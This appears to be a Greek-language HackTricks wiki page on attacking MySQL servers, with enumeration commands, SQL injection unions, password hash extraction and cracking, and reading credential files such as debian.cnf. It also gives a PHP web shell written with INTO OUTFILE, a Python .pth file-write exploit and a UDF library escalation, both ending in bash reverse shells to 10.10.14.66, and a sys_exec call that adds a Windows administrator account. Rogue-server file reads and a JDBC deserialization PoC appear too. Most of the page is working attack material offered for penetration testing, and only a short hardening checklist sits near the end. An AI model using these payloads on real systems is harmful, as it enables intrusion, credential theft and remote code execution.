3306 - Pentesting Mysql
Reading time: 18 minutes
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Βασικές Πληροφορίες
MySQL μπορεί να περιγραφεί ως ένα ανοιχτού κώδικα Relational Database Management System (RDBMS) που διατίθεται δωρεάν. Λειτουργεί με τη Structured Query Language (SQL), επιτρέποντας τη διαχείριση και τον χειρισμό βάσεων δεδομένων.
Προεπιλεγμένη θύρα: 3306
3306/tcp open mysql
Σύνδεση
Τοπικά
mysql -u root # Connect to root without password
mysql -u root -p # A password will be asked (check someone)
Απομακρυσμένα
mysql -h <Hostname> -u root
mysql -h <Hostname> -u root@localhost
Εξωτερική Enumeration
Κάποιες από τις enumeration ενέργειες απαιτούν έγκυρα credentials
nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 <IP>
msf> use auxiliary/scanner/mysql/mysql_version
msf> use auxiliary/scanner/mysql/mysql_authbypass_hashdump
msf> use auxiliary/scanner/mysql/mysql_hashdump #Creds
msf> use auxiliary/admin/mysql/mysql_enum #Creds
msf> use auxiliary/scanner/mysql/mysql_schemadump #Creds
msf> use exploit/windows/mysql/mysql_start_up #Execute commands Windows, Creds
Brute force
Εγγραφή οποιωνδήποτε δυαδικών δεδομένων
CONVERT(unhex("6f6e2e786d6c55540900037748b75c7249b75"), BINARY)
CONVERT(from_base64("aG9sYWFhCg=="), BINARY)
MySQL εντολές
show databases;
use <database>;
connect <database>;
show tables;
describe <table_name>;
show columns from <table>;
select version(); #version
select @@version(); #version
select user(); #User
select database(); #database name
#Get a shell with the mysql client user
\! sh
#Basic MySQLi
Union Select 1,2,3,4,group_concat(0x7c,table_name,0x7C) from information_schema.tables
Union Select 1,2,3,4,column_name from information_schema.columns where table_name="<TABLE NAME>"
#Read & Write
## Yo need FILE privilege to read & write to files.
select load_file('/var/lib/mysql-files/key.txt'); #Read file
select 1,2,"<?php echo shell_exec($_GET['c']);?>",4 into OUTFILE 'C:/xampp/htdocs/back.php'
#Try to change MySQL root password
UPDATE mysql.user SET Password=PASSWORD('MyNewPass') WHERE User='root';
UPDATE mysql.user SET authentication_string=PASSWORD('MyNewPass') WHERE User='root';
FLUSH PRIVILEGES;
quit;
mysql -u username -p < manycommands.sql #A file with all the commands you want to execute
mysql -u root -h 127.0.0.1 -e 'show databases;'
MySQL Δικαιώματα Enumeration
#Mysql
SHOW GRANTS [FOR user];
SHOW GRANTS;
SHOW GRANTS FOR 'root'@'localhost';
SHOW GRANTS FOR CURRENT_USER();
# Get users, permissions & hashes
SELECT * FROM mysql.user;
#From DB
select * from mysql.user where user='root';
## Get users with file_priv
select user,file_priv from mysql.user where file_priv='Y';
## Get users with Super_priv
select user,Super_priv from mysql.user where Super_priv='Y';
# List functions
SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION';
#@ Functions not from sys. db
SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION' AND routine_schema!='sys';
Μπορείτε να δείτε στα docs το νόημα κάθε privilege: https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html
MySQL File RCE
INTO OUTFILE → Python .pth
RCE (hooks διαμόρφωσης ειδικά για το site)
Καταχρώμενοι την κλασική INTO OUTFILE
primitive, είναι δυνατό να αποκτήσετε arbitrary code execution σε στόχους που στη συνέχεια τρέχουν Python scripts.
- Χρησιμοποιήστε
INTO OUTFILE
για να τοποθετήσετε ένα προσαρμοσμένο.pth
αρχείο μέσα σε οποιονδήποτε κατάλογο φορτώνεται αυτόματα απόsite.py
(π.χ..../lib/python3.10/site-packages/
). - Το
.pth
αρχείο μπορεί να περιέχει μία μόνο γραμμή που ξεκινά μεimport
και ακολουθείται από οποιονδήποτε Python κώδικα, ο οποίος θα εκτελείται κάθε φορά που ξεκινά ο interpreter. - Όταν ο interpreter εκτελείται έμμεσα από ένα CGI script (για παράδειγμα
/cgi-bin/ml-draw.py
με shebang#!/bin/python
), το payload εκτελείται με τα ίδια privileges με τη διεργασία του web-server (το FortiWeb το εκτέλεσε ως root → πλήρες pre-auth RCE).
Παράδειγμα payload .pth
(μία γραμμή, δεν μπορούν να περιλαμβάνονται κενά στην τελική SQL payload, οπότε ίσως απαιτηθεί hex/UNHEX()
ή συνένωση συμβολοσειρών):
import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10.10.14.66/4444 0>&1'",shell=True)
Παράδειγμα δημιουργίας του αρχείου μέσω ενός UNION query (οι χαρακτήρες διαστήματος αντικαθίστανται με /**/
για να παρακαμφθεί ένα φίλτρο διαστήματος sscanf("%128s")
και να διατηρηθεί το συνολικό μήκος ≤128 bytes):
'/**/UNION/**/SELECT/**/token/**/FROM/**/fabric_user.user_table/**/INTO/**/OUTFILE/**/'../../lib/python3.10/site-packages/x.pth'
Σημαντικοί περιορισμοί & παρακάμψεις:
INTO OUTFILE
δεν μπορεί να αντικαταστήσει υπάρχοντα αρχεία; επιλέξτε ένα νέο όνομα αρχείου.- Η διαδρομή αρχείου επιλύεται relative to MySQL’s CWD, οπότε το να προθέσετε
../../
βοηθά να συντομεύσετε τη διαδρομή και να παρακάμψετε περιορισμούς απόλυτης διαδρομής. - Αν η είσοδος του attacker εξαχθεί με
%128s
(ή παρόμοιο), οποιοδήποτε κενό θα αποκόψει το payload· χρησιμοποιήστε τις ακολουθίες σχολίων της MySQL/**/
ή/*!*/
για να αντικαταστήσετε τα κενά. - Ο χρήστης MySQL που εκτελεί το ερώτημα χρειάζεται το προνόμιο
FILE
, αλλά σε πολλές συσκευές (π.χ. FortiWeb) η υπηρεσία τρέχει ως root, δίνοντας δικαίωμα εγγραφής σχεδόν παντού.
Αφού αποθέσετε το .pth
, απλά καλέστε οποιοδήποτε CGI που χειρίζεται ο python interpreter για να αποκτήσετε code execution:
GET /cgi-bin/ml-draw.py HTTP/1.1
Host: <target>
Η διαδικασία Python θα import το κακόβουλο .pth
αυτόματα και θα εκτελέσει το shell payload.
# Attacker
$ nc -lvnp 4444
id
uid=0(root) gid=0(root) groups=0(root)
MySQL arbitrary read αρχείο από τον client
Στην πραγματικότητα, όταν προσπαθείς να load data local into a table το content of a file ο διακομιστής MySQL ή MariaDB ζητάει από τον client to read it και να στείλει το περιεχόμενο. Then, if you can tamper a mysql client to connect to your own MySQL server, you can read arbitrary files.
Σημείωσε ότι αυτή είναι η συμπεριφορά όταν χρησιμοποιείται:
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
(Παρατήρησε τη λέξη "local")\ Επειδή χωρίς το "local" μπορείς να πάρεις:
mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
Αρχικό PoC: https://github.com/allyshka/Rogue-MySql-Server
Σε αυτό το άρθρο μπορείτε να δείτε μια πλήρη περιγραφή της επίθεσης και ακόμη πώς να την επεκτείνετε σε RCE: https://paper.seebug.org/1113/
Εδώ μπορείτε να βρείτε μια επισκόπηση της επίθεσης: http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/
POST
Mysql Χρήστης
Θα είναι πολύ ενδιαφέρον αν το mysql τρέχει ως root:
cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user"
systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1
Επικίνδυνες Ρυθμίσεις του mysqld.cnf
Στη διαμόρφωση των υπηρεσιών MySQL, χρησιμοποιούνται διάφορες ρυθμίσεις για να ορίσουν τη λειτουργία και τα μέτρα ασφαλείας της:
- Η
user
ρύθμιση χρησιμοποιείται για τον καθορισμό του χρήστη υπό τον οποίο θα εκτελείται η υπηρεσία MySQL. - Η
password
εφαρμόζεται για την καθιέρωση του κωδικού πρόσβασης που συνδέεται με τον χρήστη MySQL. - Η
admin_address
καθορίζει τη διεύθυνση IP που ακούει για TCP/IP συνδέσεις στη διαχειριστική δικτυακή διεπαφή. - Η μεταβλητή
debug
υποδηλώνει τις υπάρχουσες ρυθμίσεις αποσφαλμάτωσης, συμπεριλαμβάνοντας ευαίσθητες πληροφορίες μέσα στα αρχεία καταγραφής. - Η
sql_warnings
ελέγχει αν παράγονται πληροφοριακές συμβολοσειρές για εντολές INSERT μιας μόνο σειράς όταν προκύπτουν προειδοποιήσεις, οι οποίες μπορεί να περιέχουν ευαίσθητα δεδομένα στα αρχεία καταγραφής. - Με την
secure_file_priv
, το πεδίο εφαρμογής των λειτουργιών εισαγωγής και εξαγωγής δεδομένων περιορίζεται για την ενίσχυση της ασφάλειας.
Privilege escalation
# Get current user (an all users) privileges and hashes
use mysql;
select user();
select user,password,create_priv,insert_priv,update_priv,alter_priv,delete_priv,drop_priv from user;
# Get users, permissions & creds
SELECT * FROM mysql.user;
mysql -u root --password=<PASSWORD> -e "SELECT * FROM mysql.user;"
# Create user and give privileges
create user test identified by 'test';
grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mysql' WITH GRANT OPTION;
# Get a shell (with your permissions, usefull for sudo/suid privesc)
\! sh
Privilege Escalation via library
Αν ο mysql server is running as root (ή ένας διαφορετικός χρήστης με περισσότερα προνόμια) μπορείς να τον κάνεις να εκτελέσει εντολές. Για αυτό χρειάζεται να χρησιμοποιήσεις user defined functions. Και για να δημιουργήσεις μια user defined function θα χρειαστείς μια βιβλιοθήκη για το OS που τρέχει το mysql.
Η κακόβουλη βιβλιοθήκη που θα χρησιμοποιήσεις μπορεί να βρεθεί μέσα στο sqlmap και στο metasploit εκτελώντας locate "*lib_mysqludf_sys*"
. Τα .so
αρχεία είναι βιβλιοθήκες linux και τα .dll
είναι τα Windows, επίλεξε αυτό που χρειάζεσαι.
Αν δεν έχεις αυτές τις βιβλιοθήκες, μπορείς είτε να τις αναζητήσεις, είτε να κατεβάσεις αυτό το linux C code και να το compile it inside the linux vulnerable machine:
gcc -g -c raptor_udf2.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
Τώρα που έχετε τη βιβλιοθήκη, κάντε login στο Mysql ως προνομιούχος χρήστης (root?) και ακολουθήστε τα επόμενα βήματα:
Linux
# Use a database
use mysql;
# Create a table to load the library and move it to the plugins dir
create table npn(line blob);
# Load the binary library inside the table
## You might need to change the path and file name
insert into npn values(load_file('/tmp/lib_mysqludf_sys.so'));
# Get the plugin_dir path
show variables like '%plugin%';
# Supposing the plugin dir was /usr/lib/x86_64-linux-gnu/mariadb19/plugin/
# dump in there the library
select * from npn into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/lib_mysqludf_sys.so';
# Create a function to execute commands
create function sys_exec returns integer soname 'lib_mysqludf_sys.so';
# Execute commands
select sys_exec('id > /tmp/out.txt; chmod 777 /tmp/out.txt');
select sys_exec('bash -c "bash -i >& /dev/tcp/10.10.14.66/1234 0>&1"');
Windows
# CHech the linux comments for more indications
USE mysql;
CREATE TABLE npn(line blob);
INSERT INTO npn values(load_file('C://temp//lib_mysqludf_sys.dll'));
show variables like '%plugin%';
SELECT * FROM mysql.npn INTO DUMPFILE 'c://windows//system32//lib_mysqludf_sys_32.dll';
CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll';
SELECT sys_exec("net user npn npn12345678 /add");
SELECT sys_exec("net localgroup Administrators npn /add");
Windows συμβουλή: δημιουργία καταλόγων με NTFS ADS από SQL
Σε NTFS μπορείτε να εξαναγκάσετε τη δημιουργία καταλόγων χρησιμοποιώντας ένα alternate data stream ακόμη και όταν υπάρχει μόνο ένα file write primitive. Αν η κλασική UDF chain περιμένει έναν κατάλογο plugin
αλλά δεν υπάρχει και το @@plugin_dir
είναι άγνωστο ή κλειδωμένο, μπορείτε να τον δημιουργήσετε πρώτα με ::$INDEX_ALLOCATION
:
SELECT 1 INTO OUTFILE 'C:\\MySQL\\lib\\plugin::$INDEX_ALLOCATION';
-- After this, `C:\\MySQL\\lib\\plugin` exists as a directory
Αυτό μετατρέπει το περιορισμένο SELECT ... INTO OUTFILE
σε ένα πιο πλήρες primitive σε Windows stacks, δημιουργώντας τη δομή φακέλων που απαιτείται για UDF drops.
Εξαγωγή MySQL credentials από αρχεία
Μέσα στο /etc/mysql/debian.cnf μπορείτε να βρείτε το plain-text password του χρήστη debian-sys-maint
cat /etc/mysql/debian.cnf
Μπορείτε να χρησιμοποιήσετε αυτά τα credentials για να login στη βάση δεδομένων mysql.
Μέσα στο αρχείο: /var/lib/mysql/mysql/user.MYD μπορείτε να βρείτε όλους τους hashes των MySQL χρηστών (αυτούς που μπορείτε να εξάγετε από mysql.user μέσα στη βάση δεδομένων).
Μπορείτε να τα εξάγετε κάνοντας:
grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password"
Ενεργοποίηση καταγραφής
Μπορείτε να ενεργοποιήσετε την καταγραφή των mysql queries μέσα στο /etc/mysql/my.cnf
ξεσχολιάζοντας τις παρακάτω γραμμές:
Χρήσιμα αρχεία
Αρχεία διαμόρφωσης
- windows *
- config.ini
- my.ini
- windows\my.ini
- winnt\my.ini
- <InstDir>/mysql/data/
- unix
- my.cnf
- /etc/my.cnf
- /etc/mysql/my.cnf
- /var/lib/mysql/my.cnf
- ~/.my.cnf
- /etc/my.cnf
- Ιστορικό εντολών
- ~/.mysql.history
- Αρχεία καταγραφής
- connections.log
- update.log
- common.log
Προεπιλεγμένες Βάσεις Δεδομένων/Πίνακες MySQL
ALL_PLUGINS
APPLICABLE_ROLES
CHARACTER_SETS
CHECK_CONSTRAINTS
COLLATIONS
COLLATION_CHARACTER_SET_APPLICABILITY
COLUMNS
COLUMN_PRIVILEGES
ENABLED_ROLES
ENGINES
EVENTS
FILES
GLOBAL_STATUS
GLOBAL_VARIABLES
KEY_COLUMN_USAGE
KEY_CACHES
OPTIMIZER_TRACE
PARAMETERS
PARTITIONS
PLUGINS
PROCESSLIST
PROFILING
REFERENTIAL_CONSTRAINTS
ROUTINES
SCHEMATA
SCHEMA_PRIVILEGES
SESSION_STATUS
SESSION_VARIABLES
STATISTICS
SYSTEM_VARIABLES
TABLES
TABLESPACES
TABLE_CONSTRAINTS
TABLE_PRIVILEGES
TRIGGERS
USER_PRIVILEGES
VIEWS
INNODB_LOCKS
INNODB_TRX
INNODB_SYS_DATAFILES
INNODB_FT_CONFIG
INNODB_SYS_VIRTUAL
INNODB_CMP
INNODB_FT_BEING_DELETED
INNODB_CMP_RESET
INNODB_CMP_PER_INDEX
INNODB_CMPMEM_RESET
INNODB_FT_DELETED
INNODB_BUFFER_PAGE_LRU
INNODB_LOCK_WAITS
INNODB_TEMP_TABLE_INFO
INNODB_SYS_INDEXES
INNODB_SYS_TABLES
INNODB_SYS_FIELDS
INNODB_CMP_PER_INDEX_RESET
INNODB_BUFFER_PAGE
INNODB_FT_DEFAULT_STOPWORD
INNODB_FT_INDEX_TABLE
INNODB_FT_INDEX_CACHE
INNODB_SYS_TABLESPACES
INNODB_METRICS
INNODB_SYS_FOREIGN_COLS
INNODB_CMPMEM
INNODB_BUFFER_POOL_STATS
INNODB_SYS_COLUMNS
INNODB_SYS_FOREIGN
INNODB_SYS_TABLESTATS
GEOMETRY_COLUMNS
SPATIAL_REF_SYS
CLIENT_STATISTICS
INDEX_STATISTICS
USER_STATISTICS
INNODB_MUTEXES
TABLE_STATISTICS
INNODB_TABLESPACES_ENCRYPTION
user_variables
INNODB_TABLESPACES_SCRUBBING
INNODB_SYS_SEMAPHORE_WAITS
HackTricks Αυτόματες Εντολές
Protocol_Name: MySql #Protocol Abbreviation if there is one.
Port_Number: 3306 #Comma separated if there is more than one.
Protocol_Description: MySql #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for MySql
Note: |
MySQL is a freely available open source Relational Database Management System (RDBMS) that uses Structured Query Language (SQL).
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-mysql.html
Entry_2:
Name: Nmap
Description: Nmap with MySql Scripts
Command: nmap --script=mysql-databases.nse,mysql-empty-password.nse,mysql-enum.nse,mysql-info.nse,mysql-variables.nse,mysql-vuln-cve2012-2122.nse {IP} -p 3306
Entry_3:
Name: MySql
Description: Attempt to connect to mysql server
Command: mysql -h {IP} -u {Username}@localhost
Entry_4:
Name: MySql consolesless mfs enumeration
Description: MySql enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit'
2023-2025 Σημαντικά σημεία (νέο)
JDBC propertiesTransform
deserialization (CVE-2023-21971)
Από Connector/J <= 8.0.32 ένας attacker που μπορεί να επηρεάσει το JDBC URL (π.χ. σε third-party software που ζητά ένα connection string) μπορεί να ζητήσει τη φόρτωση αυθαίρετων κλάσεων στην πλευρά του client μέσω της παραμέτρου propertiesTransform
. Εάν ένα gadget που υπάρχει στο class-path είναι φορτώσιμο, αυτό έχει ως αποτέλεσμα remote code execution in the context of the JDBC client (pre-auth, γιατί δεν απαιτούνται έγκυρα credentials). Ένα ελάχιστο PoC μοιάζει ως εξής:
jdbc:mysql://<attacker-ip>:3306/test?user=root&password=root&propertiesTransform=com.evil.Evil
Η εκτέλεση του Evil.class
μπορεί να είναι τόσο απλή όσο η τοποθέτησή του στο class-path της ευάλωτης εφαρμογής ή το να επιτρέψετε σε έναν rogue MySQL server να στείλει ένα κακόβουλο serialized object. Το πρόβλημα διορθώθηκε στο Connector/J 8.0.33 – αναβαθμίστε το driver ή ορίστε ρητά το propertiesTransform
σε allow-list.
(Δείτε το Snyk write-up για λεπτομέρειες)
Rogue / Fake MySQL server attacks against JDBC clients
Πολλά open-source εργαλεία υλοποιούν ένα partial MySQL protocol προκειμένου να επιτεθούν σε JDBC clients που συνδέονται προς τα έξω:
- mysql-fake-server (Java, υποστηρίζει ανάγνωση αρχείων και deserialization exploits)
- rogue_mysql_server (Python, παρόμοιες δυνατότητες)
Τυπικά μονοπάτια επίθεσης:
- Η εφαρμογή θύμα φορτώνει
mysql-connector-j
μεallowLoadLocalInfile=true
ήautoDeserialize=true
. - Ο attacker ελέγχει DNS / host entry έτσι ώστε το hostname της DB να επιλύεται σε μηχάνημα υπό τον έλεγχό του.
- Ο κακόβουλος server απαντά με επιμελημένα πακέτα που ενεργοποιούν είτε
LOCAL INFILE
arbitrary file read είτε Java deserialization → RCE.
Example one-liner to start a fake server (Java):
java -jar fake-mysql-cli.jar -p 3306 # from 4ra1n/mysql-fake-server
Στη συνέχεια, κατευθύνετε την εφαρμογή-θύμα στο jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true
και διαβάστε το /etc/passwd
κωδικοποιώντας το όνομα αρχείου σε base64 στο πεδίο username (fileread_/etc/passwd
→ base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=
).
Σπάσιμο των caching_sha2_password
hashes
MySQL ≥ 8.0 αποθηκεύει τα password hashes ως $mysql-sha2$
(SHA-256). Τόσο το Hashcat (mode 21100) όσο και το John-the-Ripper (--format=mysql-sha2
) υποστηρίζουν offline cracking από το 2023. Εξάγετε τη στήλη authentication_string
και τροφοδοτήστε την απευθείας:
# extract hashes
echo "$mysql-sha2$AABBCC…" > hashes.txt
# Hashcat
hashcat -a 0 -m 21100 hashes.txt /path/to/wordlist
# John the Ripper
john --format=mysql-sha2 hashes.txt --wordlist=/path/to/wordlist
Λίστα ελέγχου ενίσχυσης ασφάλειας (2025)
• Set LOCAL_INFILE=0
and --secure-file-priv=/var/empty
για να απενεργοποιήσετε τις περισσότερες λειτουργίες ανάγνωσης/εγγραφής αρχείων.
• Αφαιρέστε το προνόμιο FILE
από τους λογαριασμούς των εφαρμογών.
• Στον Connector/J ορίστε allowLoadLocalInfile=false
, allowUrlInLocalInfile=false
, autoDeserialize=false
, propertiesTransform=
(empty).
• Απενεργοποιήστε τα μη χρησιμοποιούμενα authentication plugins και require TLS (require_secure_transport = ON
).
• Παρακολουθείτε για CREATE FUNCTION
, INSTALL COMPONENT
, INTO OUTFILE
, LOAD DATA LOCAL
και αιφνίδιες SET GLOBAL
εντολές.
Αναφορές
-
Oracle MySQL Connector/J propertiesTransform RCE – CVE-2023-21971 (Snyk)
-
mysql-fake-server – Rogue MySQL server for JDBC client attacks
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.